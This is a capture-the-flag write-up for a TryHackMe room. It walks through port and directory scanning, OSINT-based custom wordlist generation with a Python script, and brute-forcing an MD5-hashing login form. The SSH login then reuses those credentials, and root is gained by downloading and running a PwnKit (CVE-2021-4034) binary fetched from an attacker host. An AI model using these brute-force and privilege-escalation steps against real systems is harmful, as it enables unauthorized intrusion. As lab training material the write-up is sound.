Year of the Pig is a challenging TryHackMe room that requires careful observation, custom wordlist generation, and understanding of password hashing. While the intended path involves lateral movement between users, I discovered an alternative root using the infamous PwnKit (CVE-2021-4034) vulnerability.
Key Techniques:
nmap -sC -sV <TARGET_IP>
Results:
Discovered open port 22/tcp on <TARGET_IP>
Discovered open port 80/tcp on <TARGET_IP>
Standard attack surface.
feroxbuster -u http://<TARGET_IP> -w /usr/share/seclists/Discovery/Web-Content/common.txt
Key Findings:
301 http://<TARGET_IP>/admin => http://<TARGET_IP>/admin/
301 http://<TARGET_IP>/api => http://<TARGET_IP>/api/
301 http://<TARGET_IP>/assets => http://<TARGET_IP>/assets/
The /admin endpoint presented a login page:

The page source contained a helpful hint:
Remember that passwords should be a memorable word, followed by two numbers and a special character
Password Format: word + 2 digits + 1 special character (e.g., password12!)
Exploring the main website, I found a blog section with information about the developer:


Key Intelligence:
marcoSavoiaS21 (likely source for password word)OSINT Lesson: Web applications often leak personal information through "About" pages, blogs, and comments. This information can be used to create targeted wordlists.
Based on the password format and OSINT, I created a Python script to generate permutations:
#!/usr/bin/env python3
import itertools
# CONFIG
NAMES_FILE = "names.txt"
OUTPUT_FILE = "wordlist.txt"
# Exactly two digits (00-99)
NUMBERS = [f"{i:02}" for i in range(100)]
# Common special characters
SPECIAL_CHARS = ["!", "@", "#", "$", "%", "&", "*", "_", "-"]
def main():
total = 0
with open(NAMES_FILE, "r") as names_file, open(OUTPUT_FILE, "w") as output:
for line in names_file:
word = line.strip()
if not word:
continue
# Format: word + 2 digits + 1 special char
for number, special in itertools.product(NUMBERS, SPECIAL_CHARS):
password = f"{word}{number}{special}"
output.write(password + "\n")
total += 1
print(f"[+] Wordlist generated: {total} passwords")
if __name__ == "__main__":
main()
names.txt:
Savoia
savoia
SAVOIA
This generated 2,700 candidate passwords.
Here's where I made a mistake that cost me significant time.
I initially ran Burp Suite Intruder against the login form, but none of my passwords worked. After much frustration, I examined the login request more carefully:

The password was being MD5 hashed before submission!
The client-side JavaScript was converting the password to MD5 before sending it to the server. This meant my brute-force needed to account for this hashing.
Lesson Learned: Always examine the client-side code and actual request format. Many applications hash passwords client-side for various reasons, and you need to replicate this in your attack.
After adjusting my approach to MD5 hash the passwords before comparison:

Credentials: marco:savoia21! (MD5: <HASH>)

The same credentials worked for SSH:
ssh marco@<TARGET_IP>
marco@year-of-the-pig:~$ whoami
marco
marco@year-of-the-pig:~$ cat flag1.txt
THM{REDACTED}
The intended path required:
curtismarco@year-of-the-pig:/home$ ls
curtis marco
However, during enumeration with LinPEAS, I discovered something interesting:
Sudo version 1.8.13
[+] [CVE-2021-4034] PwnKit
Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: probable
Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ]
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
PwnKit is a critical vulnerability in Polkit's pkexec that affects almost every major Linux distribution from 2009-2022.
The vulnerability exists in pkexec, a SUID program that allows authorized users to run commands as other users. Due to a memory corruption bug, an attacker can exploit it to gain root privileges regardless of their current permissions.
Ethical Note: In real penetration tests, always check with the client if using kernel/system exploits is within scope. In CTFs, it's fair game!
I downloaded a pre-compiled PwnKit binary and transferred it:
# On attacker
wget https://github.com/ly4k/PwnKit/raw/main/PwnKit
python3 -m http.server 8000
# On target
wget http://<ATTACKER_IP>:8000/PwnKit -O /tmp/PwnKit
chmod +x /tmp/PwnKit
./tmp/PwnKit
root@year-of-the-pig:/tmp# whoami
root
Instant root!
With root access, I retrieved all flags:
root@year-of-the-pig:~# cat /root/root.txt
THM{REDACTED}
root@year-of-the-pig:~# cat /home/curtis/flag2.txt
THM{REDACTED}
The intended privilege escalation likely involved:
curtisIn a CTF context: PwnKit is completely valid. The goal is to capture flags, and using available vulnerabilities is expected.
In a real engagement: You'd typically:
policykit-1)Always Run Enumeration Scripts: LinPEAS, LinEnum, and similar tools catch vulnerabilities you might miss manually.
Know Your CVEs: Major vulnerabilities like PwnKit, DirtyCow, and DirtyPipe are worth keeping in your arsenal.
Don't Tunnel Vision: I could have spent hours on the intended path when a 30-second exploit was available.
OSINT from Applications: Personal blogs and about pages often contain password hints. Favorite teams, pets, planes—all become wordlist material.
Check Client-Side Code: If passwords aren't working, the application might be hashing them client-side. Always inspect the actual request.
Custom Wordlists: Generic wordlists fail against custom password policies. Creating targeted wordlists based on the policy dramatically improves success rates.
PwnKit is Everywhere: Any unpatched Linux system from before 2022 is likely vulnerable. It's a critical finding in any assessment.
Document Alternative Paths: Even if you use an "easy" exploit, understanding the intended path improves your skills.
Happy Hacking!